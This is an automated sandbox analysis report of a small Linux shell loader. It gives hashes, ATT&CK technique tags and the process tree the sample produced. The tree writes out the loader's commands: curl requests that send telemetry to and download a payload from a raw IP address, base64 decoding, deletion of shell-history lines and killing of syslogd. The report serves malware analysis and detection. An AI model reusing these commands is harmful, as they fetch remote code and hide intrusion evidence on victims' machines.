829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c

Analysis

max time kernel
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/08/2026, 00:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
411f7d3bff31a
Size 4KB
Sample260806-amd41avte1
SHA256 829aa6c933fd451152cd3138ef796845c675bcb32a8cd06c1131b4b5dc66177c
MD5 f9d431b8947d5389f2e1bb4dedb00c6d
SHA1 c0a443b4b82a914b3de1ef02d83743399b6e3798
SHA512 8e0f3bdec02ca6f485e24923f7698067e3d4c0688aedc5a263ce5f8d3a44d8f8d3e02a349e2352f1490f96cfe5b71bbcbd22acc1895ce515c33259d176861bee
SSDEEP 96:JpdGNA5F6Hh07QxprmTkXiEJhCCQSyBuL1RgB:3dGe5FkhnjykpCCQSyBuL1RgB
TLSH
T197A130F6F9B4BE313A0CA02E756D20816A9B0C3F02E939E58447FC65555C59CAA3C27F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
701	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
688	base64

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/224/status	pkill
File opened for reading	/proc/298/status	pkill
File opened for reading	/proc/593/status	pkill
File opened for reading	/proc/639/status	pkill
File opened for reading	/proc/641/cmdline	pkill
File opened for reading	/proc/645/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/330/status	pkill
File opened for reading	/proc/635/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/136/cmdline	pkill
File opened for reading	/proc/303/cmdline	pkill
File opened for reading	/proc/635/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/564/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/107/cmdline	pkill
File opened for reading	/proc/145/status	pkill
File opened for reading	/proc/317/status	pkill
File opened for reading	/proc/630/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/157/status	pkill
File opened for reading	/proc/640/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/298/cmdline	pkill
File opened for reading	/proc/642/status	pkill
File opened for reading	/proc/642/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/95/status	pkill
File opened for reading	/proc/106/status	pkill
File opened for reading	/proc/303/status	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/135/status	pkill
File opened for reading	/proc/224/cmdline	pkill
File opened for reading	/proc/282/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/588/status	pkill
File opened for reading	/proc/630/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/590/status	pkill
File opened for reading	/proc/self/auxv	curl

/tmp/411f7d3bff31a
/tmp/411f7d3bff31a
1⤵
PID:642
- /bin/date
  date "+%s"
  2⤵
  PID:650
- /usr/bin/whoami
  whoami
  2⤵
  PID:657
- /bin/mktemp
  mktemp -d
  2⤵
  PID:663
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.system
  2⤵
  - Reads runtime system information
  PID:669
- /usr/bin/arch
  arch
  2⤵
  PID:670
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:673
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:675
- /bin/sleep
  sleep 0.4
  2⤵
  PID:679
- /usr/bin/id
  id -u
  2⤵
  PID:683
- /bin/uname
  uname -r
  2⤵
  PID:685
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:688
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:692
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:691
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:690
- /bin/uname
  uname -m
  2⤵
  PID:694
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"45dba78f0df130d7\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:693
- /usr/bin/head
  head -c 32
  2⤵
  PID:697
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  PID:699
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://46.226.162.241/211f79a06c?force=1" -o /tmp/tmp.Ii82yEFTHs/.o7kQID
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:700
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  - Reads runtime system information
  PID:701
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:703
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"45dba78f0df130d7\",\"src\":\"http://46.226.162.241/d90acb823cb7c7?force=1\"}" -m 3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:704
- /bin/rm
  rm -rf /tmp/tmp.Ii82yEFTHs
  2⤵
  PID:705